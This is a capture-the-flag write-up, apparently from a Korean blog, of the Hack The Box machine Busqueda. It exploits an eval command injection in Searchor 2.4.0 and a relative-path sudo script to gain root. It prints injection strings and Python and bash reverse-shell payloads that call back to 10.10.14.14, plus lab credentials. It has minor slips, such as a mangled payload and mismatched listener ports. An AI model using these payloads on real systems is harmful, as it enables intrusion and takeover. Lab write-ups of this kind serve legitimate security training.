๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
๐ŸดCTF/Hack The Box

Hack The Box - Busqueda Writeup

by Janger 2025. 4. 16.
728x90

Synopsis


Busqueda is an Easy Difficulty Linux machine

involves exploiting a command injection vulnerability present in a python module.

By leveraging this vulnerability(์ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ), we gain user-level access to the machine.

To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service.

Additionally(์ถ”๊ฐ€์ ์œผ๋กœ), we uncover that a system checkup script can be executed with root privileges by a specific user.

By utilizing this script, we enumerate Docker containers that reveal(๋“œ๋Ÿฌ๋‚ด๋‹ค) credentials for the administrator user’s Gitea account.

Further(๋” ๋‚˜์•„๊ฐ€) analysis of the system checkup script’s source code in a Git repository reveals a mean to exploit relative path reference, granting us Remote Code Execution(RCE) with root privileges.

Enumeration


Nmap


Let’s run as Nmap scan to discover any open ports on the remote host.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/VPN]
โ””โ”€$ nmap searcher.htb
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-04-15 07:31 EDT
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.69 seconds

The Nmap scan shows that SSH is listening on its default port, i.e.(๋‹ค์‹œ ๋งํ•ด์„œ) port 22 and an Apache HTTP web server is running on port 80.

HTTP


Upon browsing to port 80, we are redirected to the domain searcher.htb.

Let’s add an entry for searcher.htb to our /etc/hosts file with the corresponding(๋ถ€ํ•ฉํ•˜๋Š”) IP address to resolve the domain name and allow us to access it in our browser.

echo "10.129.228.217   searcher.htb" | sudo tee -a /etc/hosts

Upon visiting searcher.htb in the browser, we are greeted(ํ™˜์˜ ๋ฐ›๋‹ค) with the homepage of the “Searcher” app.

It appears to be a search engine aggregator(๋ชจ์•„๋†“์€) that allows users to search for information on various search engines.

Users can select a search engine, type a query, and get redirected automatically or get the URL of the search results.

After pressing the “Search” button, the website provides the URL for the specified(์ง€์ •๋œ) search engine and the entered query.

Foothold


It is worth nothing(์ฃผ๋ชฉํ•  ๋งŒํ•˜๋‹ค) that website footer says that it’s using Flask and Searchor version 2.4.0.

Found Searchor 2.4.0 Vulnerability

https://github.com/ArjunSharda/Searchor/pull/130/files

 

What is Searchor?

Searchor is a comprehensive(์ข…ํ•ฉ์ ์ธ) Python library that streamlines the process of web scraping, retrieving(๊ฒ€์ƒ‰ํ•˜๋‹ค) information on any subject, and creating search query URLs.

If we follow the hyperlink on “Searchor 2.4.0” in the webpage footer, we are redirected to its GitHub repository, where we can examine the changelog for the various released versions. There is a mention of a priority(์šฐ์„ ์ ์œผ๋กœ) vulnerability beging patched in version 2.4.2. The version in use by the website is 2.4.0 which means that it is likely vulnerable.

Looking at the patch, we can see that the pull request is about patching a command injection vulnerability present in the search functionality due to use of an eval statement on unsanitized(ํ•„ํ„ฐ๋ง ๋˜์ง€ ์•Š์€) user input.

We can view the specific commit, which shows the eval statement that was replaced in the main.py file.

src/searchor/main.py

@click.argument("query")
def search(engine, query, open, copy):
    try:
[-]     url = eval(
[-]         f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
[-]     )
[+]     url = Engine[engine].search(query, copy_url=copy, open_web=open)
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:

However, we developed a Proof of Concept (PoC) for Remote Command Execution.

Payloads

') + str(__import__('os').system('id'))#
',exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.14',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

The output of the id command is returned successfully, indicating(๋‚˜ํƒ€๋‚ด๋‹ค) that our injection was successful.

To validate code execution on the remote host, let us proceed to submit the payload in the query parameter of the web application.

') + str(__import__('os').system('id'))#

We have code execution as the user svc.

In order to leverage(์ด์šฉํ•˜๋‹ค) this into an interactive shell, we first start a Netcat listener on our local machine on port 4444.

nc -nlvp 4444

We then send the following reverse shell payload in the query parameter of the Searchor website.

',exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.14',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

๐Ÿ’ก Another reverse shell payload

')+ str(import('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#

we obtain(์–ป๋‹ค) a reverse shell on our Netcat listener.

 

The user flag can be obtained at /home/svc/user.txt.

cat /home/svc/user.txt
  • Full TTY Upgrade
    • (REV) python3 -c 'import pty;pty.spawn("/bin/bash")'
    • (REV) ctrl+z
    • (KALI) stty raw -echo; fg
    • (KALI) reset
    • (REV) export SHELL=bash
    • (REV) export TERM=xterm-256color

Privilege Escalation

By enumerating the files on the remote host, we can identify the credential pair

cody:jh1usoih2bkjaspwe92 stored in the /var/www/app/.git/config file. It also contains a reference to the gitea.searcher.htb subdomain.

cat /var/www/app/.git/config

 

/var/www/app/.git/config

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = <http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git>
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

let’s add an entry for it in our /etc/hosts file.

echo "10.129.228.217   gitea.searcher.htb" | sudo tee -a /etc/hosts

Upon visiting gitea.searcher.htb in the browser, we see the Gitea homepage.

What is Gitea? Gitea is a self-hosted, lightweight, open-source Git service that provides a web interface for managing Git repositories. It is a version control server similar to popular platform like GitHub or GitLab but is designed to be lightweight, easy to install, and consume fewer system resources.

Continuing further(๋” ๋‚˜์•„๊ฐ€), we can check the sudo permissions for the user svc to discover that we can run the command /usr/bin/python3 /opt/scripts/system-checkup.py * as root.

svc@busqueda:/var/www/app/.git$ sudo -l
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

When attempting(์‹œ๋„ํ•˜๋‹ค) to read the file /opt/scripts/system-checkup.py, we receive a permission denied error due to the svc user’s insufficient(๋ถˆ์ถฉ๋ถ„ํ•˜๋‹ค) permissions.

ls -l /opt/scripts/system-checkup.py

Upon executing the python script, a help menu displaying the usable arguments is presented.

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Using the docker-ps argument, it lists all running containers. (It is similar to the output of the docker ps command of the Docker utility.)

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 years ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 years ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

When executing the script with the docker-inspect argument, the usage information indicates that it requires two specific arguments: format and container name.

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

Even though we know the container names, we don’t know what this format parameter is referring to. However, given the similarity between the script’s output using the docker-ps argument and the docker ps command, it is reasonable to assume that the docker-inspect argument within the script utilises the docker inspect command of the Docker utility. Thus(๊ทธ๋Ÿฌ๋ฏ€๋กœ), let us take a look at the help menu of the docker inspect command.

We can view the usage information of the docker inspect command here.

svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

Let’s now run the script with the appropriate parameters for the docker-inspect argument.

svc@busqueda:/var/www/app/.git$ echo -n '{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}' | jq .
{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"
  }
}

We retrieved the administrator’s Gitea account from the docker inspect output.

[administrator](<http://gitea.searcher.htb/administrator>):yuiu1hoiu4i5ho1uh

Therefore(๊ทธ๋Ÿฌ๋ฏ€๋กœ), we should inspect the system-checkup.py file since we have the ability to execute the /opt/scripts/system-checkup.py file with root privileges on the remote host. During our analysis of the code, we uncover that the full-checkup argument, which we haven’t examined yet, executes a bash script named full-checkup.sh.

http://gitea.searcher.htb/administrator/scripts/src/branch/main/system-checkup.py

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

So, let’s create a file /tmp/full-checkup.sh and insert a reverse shell payload into it.

/tmp/full-checkup.sh

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.14/1337 0>&1

We then make it executable.

chmod +x /tmp/full-checkup.sh

Next, we start a Netcat listener on port 9001 on our local machine to receive the reverse sehll.

nc -nvlp 1337

Finally, we run the following command on the remote host from the /tmp directory to trigger the reverse shell.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Upon running the above command on the remote host, we receive a shell as user root on our listener port 1337.

The root flag can be obtained at /root/root.txt

cat /root/root.txt

Reference

728x90

'๐ŸดCTF > Hack The Box' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Hack The Box - Archetype Writeup(2)  (0) 2024.03.04
Hack The Box - Archetype Writeup(1)  (0) 2024.02.28